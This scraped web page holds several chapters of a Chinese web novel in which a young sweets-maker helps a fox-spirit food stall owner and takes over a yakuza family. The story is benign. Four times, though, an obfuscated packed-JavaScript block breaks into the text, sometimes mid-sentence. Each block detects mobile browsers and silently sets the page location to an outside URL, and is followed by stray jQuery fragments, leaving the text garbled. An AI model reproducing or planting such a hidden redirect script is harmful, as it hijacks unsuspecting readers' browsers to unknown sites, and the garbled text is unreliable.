;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081346|195328||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,浸润在深琥珀色的糖蜜之中,散发出纯粹而温和的甜香,再无一丝焦糊气。
佐藤缘将糯米用木杵轻轻碾压的同时还保留了一部分完整的米粒。
她并不打算将糯米完全捣烂,全然的绵软会失了筋骨,需得在柔糯中藏着些许弹韧的咬劲,这样成品入口才吃得出层次。
米团捣好,趁还温热,她迅速用湿布抓起一小块,在掌心揉圆、压扁。指尖沾染了湿黏的米脂,动作却稳而利落。米团揉好之后,再用竹板挑起一勺凉透的粒馅,稳稳地放在米饼中央,随即用虎口巧妙地收拢饼皮,边转边捏,让绯红的豆馅被洁白的米皮缓缓包裹,直至完全封口,形成一个圆满的团子。
最后一步是裹衣。
佐藤缘将团子在细筛过的炒香黄豆粉或黑芝麻粉中轻轻一滚。
粉末瞬间便吸附在尚带余温、微湿的米皮表面,形成一层毛茸茸的、香气扑扑的外衣。做好的牡丹饼被依次码入古朴的漆盘,白的米、红的馅、黄的粉,三色分明,透着一种朴拙而温暖的诚意。
“这些应该够了吧。”擦了擦顺着侧额流到耳边的汗水,佐藤缘低下头数了数被摆放在漆盘里的牡丹饼。数量不多,她做了两盘,差不多有十二粒,整整齐齐地码放在纯黑色的漆盘之中,看起来尤为精致可爱。
深夜,寂静无人的小巷子里,有着不寻常的香味涌出。
循着香味找去,一辆老式的屋台推车出现在面前。
车篷檐下悬着两盏旧纸灯笼,光线昏黄温润。
车前的暖帘是靛蓝色的,中央用白线绣着一个抽象的狐面纹样,在夜风里轻轻晃动。
推车旁摆着两三张折凳,更远处便沉入黑暗。
紧接着就被屋台中的锅子吸引过去,老式的铸铁锅底下燃着悄无声息的火焰,锅内深色的汤底保持着将沸未沸的状态,静谧地吐着绵密的白汽。
汤里沉着拳头大小的昆布和几尾干鲣节,以及令人看了就忍不住吞咽口水的食材,金黄的年糕福袋、吸饱汤汁的萝卜、棱角分明的竹轮、油豆腐、以及串得整齐的魔芋结和鸡蛋……每一味都在慢吞吞的翻滚中,被染成醇厚的酱色。
“欢迎光临,客人。”
暖帘被悄然掀开一角,昏黄的灯光将一道狭长的影子投在地面上。车的后面站着一个戴着狐狸面具的青年,身材颀长而挺拔,有着一头醒目的银白色短发,不同于老人的斑白,在灯笼下宛如流动的月华。他系着干净的深色割烹着,袖子利落地挽起,露出线条清晰、肌理分明的小臂,皮肤下淡青色的血管随着他舒缓而有力的动作微微起伏,仿佛蕴藏着沉静的韵律。
“哗啦!”被舀汤的声音惊醒,循声望去,才发现屋台的里侧并非摊主一人,还有一个小小的身影正安静地跟在他的身侧,那是一个戴着同款狐狸面具的少女,一头柔顺的棕色长发被一丝不苟地高高束起,绾在脑后,大半张脸掩在神秘的面具之后。
她安静而沉默,并不参与招呼,只在被人注意到时才停下手中的活计,朝着来客的方向轻轻颔首、躬身,行一个无声而周到的礼。
“欢迎来到,狐狸的关东煮。”
那青年微侧过头,目光掠过身边的少女,而后又很快收回目光,看向来客,声音清朗,语调悠扬。
8. 第 8 章
“狐狸的……关东煮?”
来客看着屋台老板脸上的狐狸面具,又想起暖帘上画着的狐狸花纹,感叹了一句这老板的摊位还真是有记忆点。
“老板在这么深的巷子里还做生意呢,如果不是我鼻子灵说不定都找不到这里。”
“客人和鄙店有缘。”
“是呢是呢,哈哈哈,那我今天可要好好吃一顿,为了难得的缘分。”
来客这么说着,眼睛盯上了锅里煮着的食材:吸饱了琥珀色汤汁、莹润半透的白萝卜;金黄鼓胀、内藏糯软年糕的油炸豆腐福袋;纹理中浸满滋味、微微颤动的方形竹轮;还有那串成串、口感弹韧的魔芋丝结。
根据来客的指示,狐狸摊主用长长的竹筷夹起指定的那几样食材放入浅底陶碗,再稳稳地浇上一勺清亮而色泽深沉的原汤。
捧起碗,啜饮一小口汤。温润的暖流瞬间从喉间滑入胃袋,咸鲜的底蕴里透出一丝甘甜,紧接着是柴鱼与昆布交织出的复合香气在口腔里缓缓化开,仿佛驱散了周身最后一丝夜寒。
紧接着是那块最为敦厚的萝卜。
筷子轻轻一触,煮透的萝卜便乖巧地分开,内里已是绵软如脂,近乎融化,却仍保持着完整的形态。送入口中,无需咀嚼,舌尖一压,那饱含汤汁的丰腴感便充盈开来,清甜与咸鲜平衡得恰到好处,仿佛将一整锅的精华都凝聚在了这一块里。
接着是竹轮。咬下的瞬间,外层是微韧的触感,内里则更为绵密,孔隙中蕴藏的汤汁在齿间迸发,带来另一种层次的鲜味冲击。魔芋结则提供着干净利落的弹脆感,在绵软与丰润之间,划上一道清爽的笔触。留在最后的是福袋。轻轻咬破金色的油豆腐皮,内里滚烫软糯的年糕便裹挟着更浓郁的甜香涌出,与外部汤汁的咸鲜形成美妙的反差,是扎实的满足。
来客吃得很慢,每一口都伴着蒸腾的热气,时而张开嘴呼吸,让内里滚烫的食材伴随着轻柔的夜风散去温度,同时也将那香气传播开来。额角渐渐渗出细密的汗,手脚却暖和了起来,连带着紧绷的肩颈也不知不觉放松。
“呀,说起喝完酒之后想要吃的热乎乎的东西,果然还是关东煮呢。”来客擦了擦额头溢出的汗水,连带着刚刚陪同上司以及同僚们喝下肚子的冰凉啤酒也好像随之散发了出去,一口咸鲜暖热的汤下肚,再满足地长出一大口气,心和胃都暖了起来,这便是深夜屋台存在的意义。
“话说回来,老板,我刚刚就注意到了,那个……莫非是牡丹饼?”
就在青年摊主身后,一个带有透明玻璃罩的木质展示柜,如同一个静谧的异类,稳稳地立在屋台一角,柜子里面摆放着六枚牡丹饼。它们并非浑圆,而是呈现出一种温润的椭圆形,厚实而饱满,宛如被精心挑选的鹅卵石。外层均匀裹着的黄豆粉,在灯光下泛着细腻如绒的淡金色微光,透过豆粉的间隙,能隐约窥见内里洁白莹润的米皮与深处那一抹深邃的绯红豆馅。
“哦呀,客人真眼尖呢,这可是本日的隐藏菜品。”听到来客的问题,狐狸摊主声音并不惊讶,仿佛用心准备的惊喜终于被人发现,透着小小的愉悦。
“……虽然但是……关东煮配牡丹饼?这种搭配真是微妙呢。”来客挑起眉,视线在沸腾的深锅和玻璃柜中静默的椭圆团子之间来回移动,“沸腾的咸鲜,跟那边冷清清、甜腻腻的……怎么想都不是一个路数吧?这就像是,硬把夏夜的祭典和冬日的初雪糅在了一个盘子里。”
“微妙吗?”隐藏在狐狸面具背后的嘴角勾起,“关东煮温暖的是路过的身,牡丹饼抚慰的是有缘的‘心’。需求不同,自然不能混为一谈。有些客人,它们只取其一。”
“呀,说到底,鄙店不过只是一家路边摊而已,隐藏菜单也仅仅是凭兴趣而作。”
“所以,怎样,客人对鄙店的点心是否有兴趣呢?”
来客闻言看向玻璃罩里的牡丹饼。六枚椭圆形的牡丹饼整齐列于黑漆盘中,暖金色的豆粉均匀裹覆,隐约透出内里洁白米皮与一抹深绯红的豆馅。它们静置在那里,没有一丝烟火气,干净得像被妥善收藏的甜美秘密。
“请给我来一枚。”
“好哟,一枚牡丹饼。”狐狸摊主转过头对着身边的少女说道,对方闻言点头,从玻璃罩中取出金黄色的牡丹饼,递给了屋台前的客人。
“牡丹饼,请用。”她终于开了口,音色里天然带着一种柔软的稚嫩,语调却平直,没有多余的热情或起伏。
来客将手擦净,直接拿起了裹着黄豆粉的牡丹饼。一口咬下,牙齿立即陷入柔软又略带韧性的米团,能分辨出部分糯米颗粒的弹韧口感。内里的红豆粒馅随之在口中化开,释放出豆沙醇厚的甘甜与豆皮微涩的香气。
黄豆粉朴素的焦香、米的温润与红豆的甘甜最终融合在一起,形成一种扎实而令人安心的朴素甜味。
没有太多其他的感想,将这甜味吃下肚时,首先涌现出来的想法是“好吃”。
然后满脑子就是“果然来对了”。
送走脸上还带着红晕的来客之后,看着不再有客人的屋台,一直沉默着的少女终于朝着身边的狐狸摊主发出疑问,“不是说这些点心是给其他客人准备的么?”
“人要学会灵活应变嘛,”听到少女的问题,狐狸摊主将长筷放下,举起手伸了个懒腰,泄露出本人的真实姿态。“今天的生意不太好,所以即使是‘普通’的客人也完全没问题哦~反正小缘做的点心无论是普通的客人还是彼世的客人都赞不绝口呢。”
“……比起这个,我更想问的是,为什么是关东煮?!”听到狐狸摊主懒懒散散的语气,佐藤缘藏在面具背后的嘴角抽了抽,“之前不是说今天的招待所是小料亭吗?所以我才会特意做了牡丹饼过来啊!”
“刚刚客人也说了吧,关东煮配牡丹饼很奇怪啊!”
“嘛,嘛,不要那么在意啦,不觉得偶尔的错位产生的落差感也很有意思嘛~”听到狐狸店主的狡辩,佐藤缘虚起眼,“说实话。”
“实话就是……本来说好的小料亭因为主人那边突发状况借不到了,所以只能推着这辆老祖宗的屋台推车出来做生意。”狐狸店主说着锤了锤
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081347|195328||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
腰,“我可是很久没做过这么剧烈的运动了,可真是要了亲命。”
听到狐狸摊主的抱怨,佐藤缘冷笑两声,毫不留情地给了评价。
“肾虚的狐狸。”
“什么?!你怎么能这么说?!我只是久疏运动而已!按照我们族里的年纪来推算,我可是正值壮年啊!还有,小缘你一个小姑娘不要用这么粗鲁的词汇!小心以后嫁不出去!”
“没关系,到时候我可以招赘,族谱单开也挺好的。”
听到佐藤缘这么说,狐狸摊主愣了愣,随后他走到佐藤缘身边,从玻璃罩子里取出一块牡丹饼。
“这不是要卖的商品嘛,师傅你怎么突然就吃了?”
“饿了。”狐狸摊主说着摆了摆手,将罩在脸上的面具往上推了推,露出下半张脸。下巴的线条清瘦而分明,连接着利落的下颌轮廓。皮肤是近乎无血色的冷白,像覆着一层薄瓷。他的嘴唇很薄,颜色偏淡,此刻正自然地抿着,唇角带着一丝极淡的、近乎倦怠的弧度。
他缓缓张开口,露出尖锐的犬牙,对着牡丹饼大口咬下。咀嚼时脸颊的肌肉快速而轻微地运动,带着一种本能的专注韵律,下巴利落的线条随之清晰起伏。唇角沾着的最后一点黄豆粉被舌尖卷起,很快消失在轻抿着的薄唇里。
咽下的点心很快化作灵力,那柔软的甜润尚未在喉间散尽,一股温热的暖流便自胃腑深处悄然升腾,迅速扩散至四肢百骸,像是一盏灯在体内被点亮,驱散了夜间的寒意与沉积的疲惫。
掩在面具背后的狭长眼眸缓缓眯起,露出猎手饱腹后的餍足与愉悦。
“果然还是很好吃啊,小缘的灵力。”
他这么说着,又像是动物般舔了舔手指,将指尖沾着的黄豆粉一并纳入腹中。
“干脆抛下此世,直接到我这边来吧。我这里……”
他话音还未落,就被佐藤缘干脆利落地拒绝了。
“不要。”
“诶?为什么?小缘明明也很喜欢给彼世的妖怪们做点心吧?”虽然不是第一次被拒绝,但每一次听到佐藤缘毫不犹豫的拒绝,狐狸摊主都会露出如同现在一般类似撒娇的抱怨。
仿佛两者身份对调一般。
“因为没有自保的能力。”
佐藤缘说着低下头,手指轻触着手腕上系着的一条红绳。
那是她在刚遇到狐狸师傅时对方送给她用来自保的礼物。
“说到底,妖怪都是贪婪的,师傅也不能保护我一辈子吧?万一我被别的妖怪吃掉了,那可真是太不甘心了。”
听到佐藤缘的话,狐狸摊主刚想辩驳,但少女伸出手指,阻止了对方未能说出口的话。
“而且,我也不想只能依附着师傅活下去呢。”
听到小徒弟这么说,狐狸摊主只能低下头,嘟嘟囔囔地小声抱怨。
谁说不能一辈子靠着他活下去啦?
凡人的寿命很短暂的嘛,他养小徒弟一辈子又不是养不起。
再说了,隔壁天神屋的大老板不也养了他家小厨娘一辈子嘛?!
9. 第 9 章
佐藤缘没管狐狸摊主的碎碎念,她这个师傅本体虽然是只狐狸,但是半点狐狸的精明都没有传承到,倒是偷懒娇气学了个十成十,自从发现她成长到能够帮助自己之后就毫不犹豫地开始尽情使唤了。
之前只不过是帮忙处理一下食材以及一些基础的打扫工作,等到她能够独立自主制作点心了之后就干脆在自己的料理台旁空了一块点心台,食材需要她提供,但半点报酬也不给,纯纯的黑心狐狸。
佐藤缘想着又摸了摸自己手腕上的红绳,心想对方到底也不是半点报酬不给。
自从知道自己身上那种莫名其妙的力量应该不算是异能力而是灵力之后,她才明白小时候自己的多灾多难到底是怎么来的。
彼世的妖怪们喜爱这种力量,所以总有些脑袋不清醒的妄想将她吞入腹中。
佐藤缘还没有被佐藤大和捡到之前一直都过着经常被妖怪袭击的生活,也正因为如此,她被人称为“倒霉的小缘”。
就在那个时候,像是今天的来客一样,她循着关东煮的香味见到了狐狸师傅。
那个时候的狐狸师傅远没有现在这么装模作样,看到她的时候还恶声恶气地想要将她赶走,“这可不是你能吃的东西。”
后来的佐藤缘才知道,不是什么人都能吃得下狐狸的关东煮的。
只有身负灵力,或者与妖有“缘”的人才能见到传说中这个只为妖怪以及灵设立的摊位。
或许真的是与她有缘,从未动过恻隐之心的狐狸师傅掏了半天袖子,总算从里面摸出一块用油纸包裹极好的牡丹饼。
“喏。”他将油纸包扔给佐藤缘,“这可是我好不容易才省下来的饭后甜点,便宜你了。”
然后小小的佐藤缘就赖上了狐狸师傅。
狐狸师傅是传说中的妖怪,但并不是那种邪恶的大妖怪,相反和稻荷神手下的狐仙关系不错,所以才会接了任务到处摆摊。
狐狸的料理台迎接的并非是普通人类,更多的是因为各种各样原因而没办法成佛的灵以及未能进入彼世的妖怪们,充沛灵力的食物以及点心能够很好地安抚这些躁动的妖怪们,让他们能够安静下来,不要给此世造成什么大乱子。
“虽然说光是人类就已经足够把此世搅得一塌糊涂了,尤其是这些年,听说地狱那边的辅佐官已经怨声载道了。”
“对我一个普通人这么透漏另外一个世界的事情真的好吗?”
“没关系啦,小缘你是有灵力的人,死了之后肯定不会地狱里那些工作狂放过的,我只是提前剧透一下你未来的职场环境。”
“前提是我能够寿终正寝吧,万一被妖怪吃掉了那就什么都没有了。”
“嘛……也是。”听到彼时还不是“佐藤缘”的小缘这么说,狐狸师傅苦思冥想了一会儿,最终通过裙带关系从稻荷神那边的狐仙那里给小缘拿了条带着结界的红绳。
“这么一来心怀恶意的妖怪就没办法靠近你了。”
小缘本来是想就此跟着狐狸师傅的,但狐狸师傅嫌她是个脆弱的人类,一不小心就会被自己养死最终还是拒绝,只和她约定了每个月的十五和自己一起摆摊,算是他救了自己的报酬。
再然后就是小缘和佐藤大和相遇,并且被不知道怎么想的佐藤大叔收养,死后被扔了一堆烂摊子的故事。
狐狸师傅本来是嫌弃养不活的小缘的,后来等小缘长大了,能干了,不会被随随便便养死之后改了主意,想要忽悠小缘跟着他一起到彼世去开店,因为“听说天神屋那边的老板从此世招了个厨娘,在那边开了个小料亭,生意很不错。”
“真的吗?我怎么听起来更像是找了个人类的妻子?”彼时的小缘已经是个比起小时候更加成熟的女子高中生了,听狐狸师傅谈起天神屋大老板和人类女厨娘之间的纠葛,心里想的是怎么听起来更像是个充满了love love的爱情故事。
“啊……这么说起来,好像之前的确是听说那个厨娘是大老板的未婚妻来着,只是不知道为什么两个人没成。”
“果然。”听到狐狸师傅这么说,佐藤缘一拍手,露出了“你看我就知道”的满足神色,然后她睁大了那双蜜糖色的眼睛,看着带着狐狸面具的青年一脸认真地问,
“所以狐狸师傅想要娶我吗?”
戴着面具的青年连眼神都没往佐藤缘这边瞥,“不要。”
他这么说着,忍不住摇头晃脑,“娶妻生子什么的对我来说还太早了,而且小缘也不是我喜欢的类型。”
“那狐狸师傅喜欢什么类型的女孩子呢?”
“能养我的。”
“……那狐狸师傅不如去嫁人。”
“话说回来,你这边真的没问题吗,我看你好像很麻烦的样子。”狐狸师傅看着佐藤缘身后的虚空,浅金色的眸子满是疑惑。
这姑娘……身后的线怎么乱七八糟的,都快变成被猫咪玩过的线团了。
“是很麻烦啦,老爹给我扔了一堆烂摊子。”佐藤缘想起自己马上要经历的事就忍不住恶狠狠叹气,“说不定我要提早告别狐狸师傅了。”
“诶?怎么回事?”
“毕竟是极·道啊,再加上听说老爹之前还得罪过不少人,万一一个不好我就被提前送到地狱去了。”
“……这倒是不会……”听到佐藤缘的抱怨,狐狸师傅又认真看了看她身后的结缘线,斩钉截铁地告诉她,“你的寿命还很长啦,再加上有我和稻荷神大人的保佑,应该不会随随便便被玩死的。”
“……我还真是多谢你了。”
从狐狸师傅的口中得知自己暂时不会枉死,佐藤缘还是大松了口气,只是这么一来她又开始头疼,不死不代表自己的麻烦可以就此解决,她还是要继承佐藤大和的“刃樱会”,依旧要去给银龙会的龙头老大庆生,并且要接手胜田组的投靠。
“十六岁的极·道大姐头,要是小说的话那我可就是妥妥的女主角了。”佐藤缘这么自嘲,脸颊上的酒窝隐隐约约。
只可惜,现实不是小说,她也没有那种主角的魅力让人一看就纳头就拜。
一切都得自己应付。
虽然很感谢身边的三个小伙伴,佐藤缘也清楚这几人大概会背着自己做好多事情,所有的感恩都放在心里。
一切以应付应龙会的生辰礼为主。
然后佐藤缘就对上了二次上门的胜田耀,他此时并不是一个人来的,但身后跟着的却不是他那两个弟弟,而是个从未见过的年轻人。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17081348|195328||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“胜田先生,您这是?”
胜田耀拍打着身边年轻人的后背,“还不快向大小姐问好!”
站在胜田耀身边的年轻人神色冷淡,漆黑的短发稍长,恰好遮挡住了他的眼睛,也将那一丝细看起来过于锋利的眼神遮掩了不少。
听到胜田耀的话,那青年朝着佐藤缘鞠躬,语气却听不出太多敬意。
“大小姐。”
“……”
态度好差。
“您二位今天上门不知有何贵干?”佐藤缘目光掠过那个看不出多少善意的青年,将注意力放在了胜田耀身上。
“是这样的……”胜田耀对佐藤缘的态度很是亲和,说话的语气姿态也带着尊敬。
“松本老爹的指名消息传出来之后,很多人就注意到了大小姐,虽然还不至于现在就上门,但目前家里就只有大小姐孤身一人,我很担心会有不长眼睛的上门挑衅。”
“……现在就开始了吗?”听到胜田耀的话,虽然做好了被找茬的准备,但佐藤缘还是忍不住眼前一黑。
现在的极·道这么沉不住气的吗?
欺负她一个孤苦无依的小女孩有意思吗?!
“嘛……最好还是把人多往坏处想。”听到佐藤缘的话,胜田耀大声叹气,随后指着身边的青年,“佐藤大哥走得太快了,大小姐身边都没有得用的人,上次上门的两个小哥虽然看起来不错但毕竟不是‘家人’,所以我这边就正好腾出来个人给大小姐用用。”他这么说着,将手压在青年的头上,“喂,阿阳,拿出你的态度来!”
“是!请多多指教,大小姐。”被胜田耀压着脑袋,青年不得不加大了声音,听起来比刚刚那种半死不活的样子多了些许生气。
“这小子叫做大冈阳斗,是我发掘的好苗子,虽然性格冷淡了点,但是责任感很强,这段日子就让他来守护大小姐的安全吧。”
“……感谢胜田先生的好意……”
虽然但是我并不需要。
看着大冈阳斗的姿态,佐藤缘就感觉对方对保护自己这件事情并没有什么兴趣,她也实在不想把自己的安危放在一个根本没见过一次面的人身上。
谁知道自己会不会引狼入室?
似乎是看出了佐藤缘的不情愿,胜田耀清了清嗓子,“大小姐,借一步说话。”
他拉着佐藤缘走到角落里,小声说着大冈阳斗的情况,“这小子的来历清白,虽然还没有经过系统的训练,但是街头打架的水平还算不错,性格看起来冷淡了点但责任感很强,当初他那对好赌的爹妈欠债跳海自鲨之后,剩下的那些债都是他自己一个人努力赚钱还完的。”
“我对他有恩,所以这小子会报答我的,这段时间我还在整理手头上的生意,让这小子来守护大小姐再合适不过。”
“他底子清白,也没留下什么档案记录。”
“我在附近给他安排了住所,大小姐就当雇了个小工,平时没事也可以差遣他干活。”
说实在的,佐藤缘肯定不想让陌生人接近自己,但胜田耀的话说得明白,她也没有什么余钱来雇人保护自己,只能接受对方的好意。
“那么,这段时间就请多多指教了,大冈先生。”
10. 第 10 章
佐藤缘发现大冈阳斗使用起来还是蛮顺手的。
哪怕对方的态度依然和初见时一样不冷不热的,但是在力所能及的事情上对方从来不吝啬力气。
主动承包了好多体力活。
这么几天干下来,佐藤缘开始对于对方到自己手底下来打白工开始过意不去了。
“大冈先生。”她叫住大冈阳斗,“之前胜田先生只说让你到我这里来帮忙,但我们之间好像还没有商量过你的报酬……”
“不用。”大冈阳斗开口,声音听起来有种死意很足的低沉,“胜田老大说我是来帮忙的。”
言下之意是根本没提过报酬,他也不需要佐藤缘给自己报酬。
他并不是为了佐藤缘而来,而是为了胜田耀,就算是报酬也应该是胜田耀给。
“这样可不行。”佐藤缘摇头,“胜田先生那边怎么样是他的事情,你既然来帮忙了,于情于理我都要给你报酬的。”
人情债不好欠,她宁可算得清楚明白些,也不要到时候再闹出什么乱子来。
“我会按照平均的时薪折算给你,如果你不要工资到时候我就直接给胜田先生送过去。”
佐藤缘并没有征求他的意见,而是直接下达了通知。
大冈阳斗看了她一会儿,又转过头默默的将身上扛着的麻袋往肩膀上拉扯了下。
“……随便你。”
大冈阳斗上门有好有坏,夕子太太他们见佐藤缘有了帮手很是欣慰,大冈阳斗虽然话不多,对待顾客也不够热情,但一直在老老实实干活,从没有偷奸耍滑。
“是个老实孩子。”夕子太太上门过两三回,见过大冈阳斗干活的姿态后对鱼骨大叔道,言语间很是欣慰,“我还以为小缘要很久才能走出来,现在看起来,她过得还不错。”
“毕竟是我们看着长大的孩子,小缘可不是柔弱的娇花。”鱼骨大叔点点头,“你的眼光向来不错,既然那是个老实孩子,我也就放心了。”
突然得知佐藤缘雇了个帮手的时候,鱼骨大叔本想上门帮着敲打几句,让对方不要小看佐藤缘一个未成年少女,但又怕伤害到小姑娘的自尊心遂放弃,只让夕子太太多上门几次观望情况,结果发现对方虽然冷淡了些,但本质上还挺老实,总算放下了心。
“我们就这样默默支持小缘就好了。”夕子太太说着举起手上的油纸包,“新鲜出炉的‘果铜’,我可是算准了时间上门的。”
“诶诶诶,注意你的血糖,这周已经吃了三回了吧?”
大冈阳斗这会儿正对着手上的“果铜”发呆,刚刚夕子女士上门,买走了新鲜出炉的一批“果铜”后,佐藤缘将盘子上还剩下的两个果铜打包,递给了大冈阳斗一个,“给,午餐还要过一会儿,先垫垫肚子。”
“……谢谢。”
谢过佐藤缘之后,大冈阳斗看着手上的“果铜”,颇有些不知道如何下口的感觉。
“樱田屋”的名品,算是佐藤大和鼓捣出来的改良甜品,选用当季的新鲜水果与绵密轻盈的奶油,搭配上清新的薄荷叶装饰的铜锣烧,简称“果铜”,相当受欢迎。
很多爱好这一口的街坊邻居们会算准了时间上门,比如说隔壁的夕子太太。
大冈阳斗看了看佐藤缘,小姑娘吃惯了家里的点心,没有任何犹豫地直接一口咬下。
于是大冈阳斗有样学样,牙齿首先陷入松软而带有微韧劲的铜锣烧饼皮,随即触碰到了内里冰凉绵密的奶油,紧接着细腻的草莓香涌了进来,被研磨成果泥的草莓在熬制的时候加入了白糖,与奶油融合得极好,提供了不腻口的酸甜基底。再接下去,是保留完好的草莓颗粒,在齿间带来微微弹韧的口感,并在咬破的瞬间迸发出清新的果汁。
新鲜的酸甜与奶油的醇厚相互平衡。最后,一丝薄荷的清凉香气从舌尖升起,仿佛一阵微风,卷走了所有可能的甜腻,只留下草莓鲜明的果味与绵长的回味。整体口感轻盈、清新且富有变化,与他过去吃过的那种传统甜腻的铜锣烧截然不同。
“好吃。”大冈阳斗低头看着感觉全然不同的果铜,表情终于有了鲜明的变化。
“很好吃吧。”佐藤缘眯起眼睛,看着大冈阳斗的表情露出自得的笑,“对于老爹首创的果铜,我可是很有信心的。”
听到佐藤缘的话,大冈阳斗看了她一眼,回想起在胜田组时从胜田耀那里听到的佐藤大和的传说,表情有些微妙。
毕竟在胜田耀的口中,花井龙太郎可是传说中的“夜噬之龙”,对敌冷酷狡猾才是他的本色,哪怕隐退多年,但在道上的名声不减,是敌人提起他的名字都会胆颤心惊的存在。
这样一个人,和会创作出手中这种相当受欢迎的热门甜品的点心师傅是截然不同的两面。
他实在是无法想象。
若是说为了躲避仇家所以选择了一个低调的身份倒是不难理解,但问题是他这第二身份也未免过于成功了吧?
他这几天来店里帮忙也不是光埋头苦干的,据他观察,“樱田屋”的人气未免高得有些过分。
且不说商店街的老人们为了邻里情特意上门照顾生意,特意冲着“果铜”远道而来的客人也不少,有许多从隔壁镇赶来的女子高中生在排队买到之后还会特意跑到店门口打卡上传SNS。
都快成热门网红打卡点了。
这一点也不低调啊。
看着店门口很快又排起长队的客人们,看着往嘴里恶狠狠地塞进果铜后撩起袖子就是干的佐藤缘,大冈阳斗心里默念。
胜田大哥,你好像误会了什么。
对于大冈阳斗来到樱田屋帮忙,反应最大的不是佐藤缘本人,而是好不容易获得出门许可特地跑到店里来的松田阵平和萩原研二,至于萩原千速,她早就已经反应过了。
“啊,又来了……”
看着松田阵平和萩原研二与之前的萩原千速如出一辙的表情,佐藤缘心里有点累。
“那个小子到底是来干嘛的?替胜田组来监视你?”
松田阵平压低了声音,咬着牙发出气音,“你还就让他留在身边了?”
“阳斗还好啦,做事情挺勤快的。”佐藤缘当然没放松警惕,只是观察了这段时间感觉那的确是个老实又倒霉的孩子,所以说话的语气不自觉变得亲近了些。
“而且胜田先生说的也没错,我身边的确是需要有人手来帮忙,无论是应付极·道的麻烦还是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17081349|195328||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
店铺的日常经营。”
“银龙会首领的生辰会近了,胜田组那边安排人盯着我本来就不是什么奇怪的事,他光明正大放个人在我身边反而还让我松了口气呢。”
“小缘妹妹,你有没有想过,胜田组的眼睛安插在你这边,除了监视你,对于店里的经营是否也上了心?”萩原研二的想法更阴暗些,他担心除了佐藤缘这个“刃樱会”的傀儡继承人之外,胜田组还盯上了“樱田屋”。
毕竟作为热门网红甜品店,“樱田屋”的流水数字很是可观。
“那个的话没关系,”听到萩原研二的话,佐藤缘摇摇头,“店铺的经营都掌握在我一个人的手里,而且这段时间邻居们的热情爆发也逐渐消退,这几天樱田屋恢复到了正常的销量,点心的利润没有那么吓人。”
“胜田组目前转型很顺利,没有经营不善的情况,樱田屋的这点利润还不至于让他们盯上我。”
而且胜田耀特意派了个外行人过来,也表明了他暂时没有对店铺起心思的意思。
否则找个他自己身边的人过来,樱田屋的营销利润分分钟就暴露了。
听到佐藤缘这么说,萩原研二点点头,佐藤缘自己心里有数就好,防患于未然么,总比出事了才知道补救好。
“那小子是什么情况?需要我们帮你敲打一下吗?”松田阵平磨了磨牙,感觉自己的拳头有些痒。
“目前我和他相安无事啦,阵平你不要没事找事,”说着,佐藤缘的视线移到了松田阵平的脸上,比起上一回见面,松田阵平这次的脸上青一块肿一块的,看起来可不像是没事的样子。“还有,你脸上是什么情况,又和别人打架了?”
“没什么,只不过是切磋。”松田阵平闻言按了按脸颊,表情阴沉下来。
“小阵平啊,不知道为什么和警察学校里的一个同学关系不好到半夜在天台上互殴呢~”作为损友,萩原研二毫不留情地揭短幼驯染。
听到这句话,佐藤缘对着松田阵平露出不赞同的表情。
“……阵平,都到警察学校培训了,就好好干不要捣乱啦。”
“为什么默认是我的问题啊?!那个金发小子一本正经过头了啦,我只是有些看不过去而已!”
“金发?还一本正经?”
“哦,那个是天生的发色啦,那个人是混血儿,有一部分的海外血统。”
“这样啊……但我还是不明白阵平你为什么和他要互殴?”
“天生的气场不和?”松田阵平说着挠了下头发,“总之我的事情之后再说,现在不是在聊小缘的事情吗?”
“我的事情也没什么好说的……啊,说到这个,千速姐,你之前说关于那个妆容已经有灵感了?”
“嗯,我新认识了一个品味很好的朋友,他好像蛮擅长化妆的,所以就拜托他来试试,小缘,这周末你有时间吗?”
“这周末的话没什么安排,我们约在哪里碰头?”
“我看看……去川崎广场怎么样?那边听说在举办为期一周的甜品展示会,而且你喜欢的VELICO好像也会参展,正好趁着这个机会去试试呗~”
“千速姐这边没问题的话,我当然也OK。”
11. 第 11 章
